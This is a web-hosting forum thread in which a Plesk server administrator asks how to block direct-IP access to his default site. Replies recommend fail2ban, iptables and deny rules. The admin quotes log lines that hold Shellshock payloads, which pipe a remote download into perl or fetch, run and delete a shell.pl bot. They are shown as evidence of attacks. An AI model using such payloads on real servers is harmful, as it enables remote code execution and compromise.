How can I block access to default website

[Peter12]

Hi,

I've seen a number of exploit attemps on the default website which I believe has come via direct access via ip address i.e http://xxx.xxx.xxx.xxx

I have tried to block with .htacess but it seems to be being ignore (possibly by parallels or nginx configuration).

Any ideas how I can block access to the default site to all but 127.0.0.1, server external ip and my ip?

Many thanks

Pete

 

[UFHH01]

If you use nginx as well, be aware that there is already a global "location /" definition. This can only be used once, so you have to modify additional settings, which you might place into the vhost.* - - configs ( for example over the Plesk Panel in the webserver settings of any domain, you will find a text box for additional apache2/nginx directives ).

First, please have a look at the site: http://wiki.nginx.org/HttpCoreModule#location to learn, how this definition is used with several options.

Let's say you would like to deny access to your file "htaccess", then this could be defined with:

Apache:

<Files ~ "^.*\.([Hh][Tt][Aa])">
order allow,deny
deny from all
allow from 127.0.0.1
allow from aaa.aaa.aaa.aaa
allow from aaa.aaa.aaa.aab
allow from aaa.aaa.aaa.aac
satisfy all
</Files>


NGINX:

location ~ ^/.*\.([Hh][Tt][Aa]) {
allow 127.0.0.1;
allow aaa.aaa.aaa.aaa;
allow aaa.aaa.aaa.aab;
allow aaa.aaa.aaa.aac;
deny all;
satisfy all;
}

You might want to convert your Apache - htaccess - rules with an online converter like:

https://timmehosting.de/htaccess-converter​

 

[Peter12]

Hi UFHH01,

Many thanks for your reply. I should have been more specific, The virtual hosts are fine i.e
I am able to configure restrictions to virtual hosts in /var/www/vhosts But the problem is the
default domain in /var/www/html. This directory is accessable when just the ip address is used
in a browser.

I cannot find the location to add restrictions for just the /var/www/html directory. I have tried entering
order Deny,Allow
Deny from all
Allow from 127.0.0.1
Allow from aaa.aaa.aaa.aaa <- server address
Allow from aaa.aaa.aaa.aaa <- my ip address

in the /etc/httpd/conf/httpd.conf within the <Directory "/var/www/html"></Directory> but it has no effect.

Do you have any further ideas?

Kind regards

Peter

 

[UFHH01]

Actually, you don't need the default index.html in "/var/www/html" - this document is installed within the standard installation from your vendor's apache package. Could you please provide any apache and/or nginx - access- and error - logs ( Parallels Plesk Panel for Linux services logs and configuration files ( KB: 111283 ) ), to point out, that this file is being served? If you set up a domain on your server, this file should not at all being served to any one.

You could as well rename this file to ".old.index.html", and activate the fail2ban package with the apache-nohome - filter, so that all users and bots might get banned completly for a specific time... I assume that these are mostly bots anyway.

 

[Peter12]

Hi UFHH01,

xxx.xxx.xxx.xxx = various ip addresses

/var/log/httpd/access_log
xxx.xxx.xxx.xxx - - [21/Oct/2014:18:50:31 +0100] "GET / HTTP/1.0" 200 2129 "-" "-"
xxx.xxx.xxx.xxx - - [21/Oct/2014:18:50:33 +0100] "GET /robots.txt HTTP/1.0" 404 271 "-" "-"

/var/log/httpd/error_log
[Mon Oct 20 02:09:56 2014] [error] [client xxx.xxx.xxx.xxx] File does not exist: /var/www/vhosts/default/htdocs/user
[Mon Oct 20 02:28:45 2014] [error] [client xxx.xxx.xxx.xxx] File does not exist: /var/www/vhosts/default/htdocs/muieblackcat
[Mon Oct 20 02:28:45 2014] [error] [client xxx.xxx.xxx.xxx] File does not exist: /var/www/vhosts/default/htdocs/scripts

/var/log/nginx/access.log
xxx.xxx.xxx.xxx - - [21/Oct/2014:05:34:44 +0100] "GET http://www.hackers-website-renamed.com/ HTTP/1.1" 200 2129 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0"

these are just a few. I believe they are accessing my site using http://xxx.xxx.xxx.xxx where xxx.xxx.xxx.xxx = my server ip address.

The reason I want to block access to /var/www/html directory is because of the following logs.

xx.xx.xx.xx - - [19/Oct/2014:14:48:41 +0100] "GET / HTTP/1.0" 200 2129 "() { :; }; curl http://www.hackers-website-renamed.com//bbs/skin/zero_vote/cpan_root | perl" "() { :; }; curl http://www.hackers-website-renamed.com//bbs/skin/zero_vote/cpan_root | perl"

xxx.xxx.xx.xx - - [19/Oct/2014:15:53:33 +0100] "GET /phppath/php HTTP/1.0" 404 272 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://xx.xxx.xx.xxx/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

There's a number of these in my logs. These are exploit attempts which I believe would cease if I am able to block access to all but my server ip address and my own.

Do you have any further ideas?

Kind regards

Pete

 

[UFHH01]

My suggestion is: Please install fail2ban to get rid of such kiddies. It saves you a lot of time and will ban ( over ip-tables ) such events, depending on your settings in fail2ban. Fail2ban is as well included now in Plesk and is shipped with some pre-defined filters. After some time using it, investigate the fail2ban logs and modify your fail2ban settings to get rid of even more kiddies and bots.

If you don't want to install fail2ban for unknown reasons and would like to get rid of such events, you may use ip-tables on your own, using the commands:

sudo iptables -I INPUT -s <IP address> -j DROP
sudo iptables -I OUTPUT -d <IP address> -j DROP

Replace "<IP address>" with the desired IP and be aware, that a reboot will flush all manual created in- an outputs... you have to enter the commands then again in order to ban them again from your server.

 

[Peter12]

Hi UFHH01,

Many thanks for your reply. I already use an active response system to auto block hackers but these
products work by scanning the logs and initiating a response based on a pre defined signature or foot
print in the log files. The problem is that by the time the logs have been scanned the hackers payload
may have already preformed it's job.

In addition hackers tend to use multiple ip addresses which would require constant updates of the ip tables.
The easiest option is to add a deny all to the correct conf file. As stated I added a deny statement
to the /etc/httpd/conf/httpd.conf file but it was ignored possible due to Parallels or nginx.

I just need to add a deny all to the correct conf file to prevent access to http://xxx.xxx.xxx.xxx (my server ip adress)

Do you have any further ideas?

Kind regards
Pete

 

[UFHH01]

Again... fail2ban really does the trick, because it constantly scans the log-files and has as well options to scan multiple log-files ( previous logs ). You just have to set a longer "findtime" and use additional "recidive" - jails with longer ban-times.

For example:
First jail will find the IP and bans it for 600 seconds to prevent further retries. Findtime is not set, or default on 600 seconds as well.
Second jail will find the IP, because it scans all fail2ban - logs for a previous ban. It bans the IP as well, because it is another ip-tables chain and the jail is set to ban the IP for 86400 seconds. Findtime is set to 7 days ( 604800 ).
Third jail is especially for such kiddies and will ban the IP for 1 month ( 2592000 ) and again in another ip-tables chain, because you set up, that previous IPs, that have been banned by jail 2 and still return, will get an even longer recedive - ban. Findtime is at least 14 days ( 1209600 ) and again, this jail will search in the fail2ban - logs.

As you can see in this example, the script kiddie really has not much chance and after 1 or two weeks, you are mostly free of any them. This will reduce your bandwidth, your nervs and as well your time to modify non-existent locations on your webserver. Be aware, that you don't have to do anything but the installation... fail2ban does all the bans itself ( and removes them as well if the bantime is over ) and you just keep looking and smiling!


Second and with that back to your post:
There is no need to secure the lonely file "index.html" which is located in your standard "/var/html/" location and the bots and scripts are not able to harm your server in any way you could think of. If you set up the server right, then ANY requests to your IP adress are directed to your domain-settings. Please be sure, that the nameserver ( from your provider ) is set up correctly and domains have correct CHNAME settings. If you have your own nameserver with Plesk installed, please check your settings.
The "deny all" option is a nice idea, but it doesn't prevent scripts and bots to request the files. Even if you set up each requested file/folder to "deny all" you will still see in the logs, that the request takes place... but then with another reply from your server ( 403 ).

 

[Peter12]

Hi UFHH01,

Ok, what you say is true, a 'deny all' will produce a 403. I use a similar active response to fail2ban and I don't want
2 products doing the same thing and taking up processor time. What I also observed is attemps on /cgi-bin/ I am not
sure if there is any default perl scripts that could get acticvated by these hackers or other programs in the default directory
that a hacker might find and cause trouble.

If there is nothing a determind hacker can do on port 80 to cause trouble in the /var/www/html directory then I will leave
it to my active response program to continue blocking them out. My biggest concern is in recent times there have been
a number of high profile hacks (such as openssl heartbleed etc). I am just a bit concerned that they might eventually
find a way in via the direct ip route. I have strenthend the virtual hosts via the conf files but I can't do the same with
the default /var/www/html directroy.

Many thanks for all your help and advice.

Kind regards

Peter

 

[UFHH01]

Just to get back to your concerns as well:

Did you check as well, WHAT is actually IN your basic CGI-BIN - folder located at "/www/cgi-bin/" ? Well it should only be the cgi-wrapper, because all domains and subdomains have their own CGI-BIN - folder and are chrooted to the domain ( subdomain ) directory. The cgi-wrapper is a gateway program and secures the security of the webserver.. so there is no need to think, that this program could do any harm to your server. You should be concerned, if you find scripts that are not at all placed there by you manually, because this would be really strange and is definetly unsave. But before you hypothetical think about issues/problems, you should rather look, if the hypothetical thought could be realized and if not... there is much more time for funny things, than for hypothetical thoughts.

 

[Alexey.Plotnitsky]

Peter12,

You can deny access to a Plesk website using "Deny access to the site" feature, available for admin:
http://download1.parallels.com/Plesk/Doc/en-US/online/plesk-administrator-guide/72009.htm#
(type * in Deny input field and specific ips in Exclude input field)

 

[Peter12]

Hi UFHH01,

Many thanks for your info. After the information you have provided I think it is safe to leave things as they are.
Many thanks once again.

Hi Alexey,

Many thanks for your reply. The infomation you have provided is for setting up virtaul hosts. The default
domain does not have its own 'websites and domains page' so I am unable to add the settings you
have provided. Many thanks.

Kind regards
Peter Hyacinth

 

[Peter12]

Hi UFHH01,

I finally decided to install fail2ban just to see what the fuss was about.
In a word OMG!! It is really good and the Parallels interface makes it
really easy to use.

When testing filters for my normal system if I get blocked out I get blocked out
of everything http, ftp, ssh the lot. I have just run some tests on some F2B filters
that I just create using multi port and when I activated the ban with a banable url,
I can still access plesk, ftp, ssh (which are blocked by external firewall to all but me).

Fail2ban is a fantastic product and you guys have made it even better with your
F2B admin interface.

Many thanks

Peter

 

[Peter12]

Hi UFHH01,

It's been a week since I started using fail2ban, as mentioned it's a
great product but what I have observed is that script kiddies accesses
my server via it's ip address with all types of admin directory
attempts then fail2ban subsequently bans them “Great so far!!”.

The script kiddies then starts to cry then comes back with a different ip
address doing the same thing and the process keeps repeating. I
now have approximately 100 script kiddie ip address in my fail2ban
“banned jail”.

I have looked to iptables to block access from direct access via my
server ip address using:

(one of the filters in my iptable chain)
iptables -A Ban -m recent -p tcp --tcp-flags PSH,ACK PSH,ACK --dport 80 --update \
-m string --to 700 --algo bm --string 'Host: xxx.xxx.xxx.xxx' -j DROP

WHERE xxx.xxx.xxx.xxx is my server ip address. On my local server this works
as should be when a header is sent with my local server ip address as the host this
filter will drop the packet and update the packet count.

On my Plesk server, headers with “Host” equal to my server ip address is ignored
“could this be to do with nginx intercepting the pack first?” and the script kiddies
continue to fill my fail2ban jail (some of the ip addresses ranges they use has a max range
of 1million host).

My iptables filter would stop script kiddies from accessing my server from it’s ip address
but for some reason or other it is not working.

Do you have any further ideas?

Kind regards

Peter

 

[UFHH01]

Hi Peter,

don't be too much concerned about hundreds or thousands fail2ban entries. If you don't have "easy to guess passwords" for users with FTP and/or shell access, there is really nothing to worry about. Neither will Fail2ban stop working, nor is it crashing, if you have plenty of entries. It's just normal to have a lot of script kiddies on a busy server. This is not harming your website/email-server - performance and if you keep your Plesk version up-to-date, as well as your operating system, they can play around and have their strange sort of fun.

If you still insist, that you want to do MORE, you could investigate whole IP-ranges and configure additional manual bans, based on this ranges ... but as you already figured out, this could be a rather timewasting job. It's really not worth the effort and to be honest, you are not really more securing your server, because if you ban one IP-range, there will be two others coming up next. My suggestion is to configure fail2ban very strictly, like 3 times against any rules results in 60 minutes bans, recurring ones result in 7 days and a third one for again recurring ones result in 30 days bans. If you are concerned, that Fail2ban might not work "fast enough" or won't do it's job properly with thousands existing bans... just wait another month and judge then.

What you can do as well, is to implement a service like "blocklist.de" - a fail2ban reporting service. This service sends eMails to the configured abuse - contacts from the abusive IPs... but you may read more about it on their website.

 

[Peter12]

Many thanks UFHH01,

I'll give that a try.

Kind regards
Peter

 

[Peter12]

Hi UFHH01,

Hope you are well. This is just a quick question, I am having problems
with an unknown iptables restriction on my Parallels Plesk 12 server.

On my local Lan I have created a few iptables rules to scan the tcp / http header
for certain signatures. Using the “–m –from and –to” options I can scan
anywhere up to 65k bytes (theoretically).

The problem I am having is on my local lan if I am scanning for “User-Agents: “
using:

iptables -A testfilter -m string --to 700 --algo bm --string ‘User-Agent: Mozilla’ -j ACCEPT

It will scan the full 700 bytes for the requested string. On my plesk 12 server
no matter what I do it will only scan to a maximum of 200 bytes.

Has Parallels configured any restrictions to the iptables functionality? If so where can
I increase the value?

Many thanks

Kind regards
Peter

 

[UFHH01]

Hello Peter12,

Plesk is NOT limiting any third party software at all and especially never would try to modify basic server software as they never would try to modify your hardware settings.

Apart from that, I do not know why your iptables restriction only scans a maximum of 200 bytes.

 

[Peter12]

Many thanks UFHH01,

I'll have to keep searching for the answer.

Kind regards
Peter

 

[Martin_Sauer]

There are reasons to be concerned about script kiddie attempts:
1. Depending on their Intertnet bandwidth, they can spam your server, heavily dropping bandwidth.
2. IF its a network of servers attacking you from varying IP addresses they can as well target some buffer overflows - DDOS
3. If its a long term script kiddie, they might be successfull on the long run

Steps:
- host based authentication on ssh (you should do that anyways)
- change admin port for plesk web interface (surprisingly that drops most script kiddies targeting plesk)
- combine remote logins based on ssh host based authentication: except ssh all remote login ports are closed, upon ssh-login your login ip activates all other remote login ports only for that IP address
- if you got users/customers on your plesk, you plain must accept that they will be attacked and some even successfully - only way here are blocking IPs based on blacklisted IP-lists (various providers)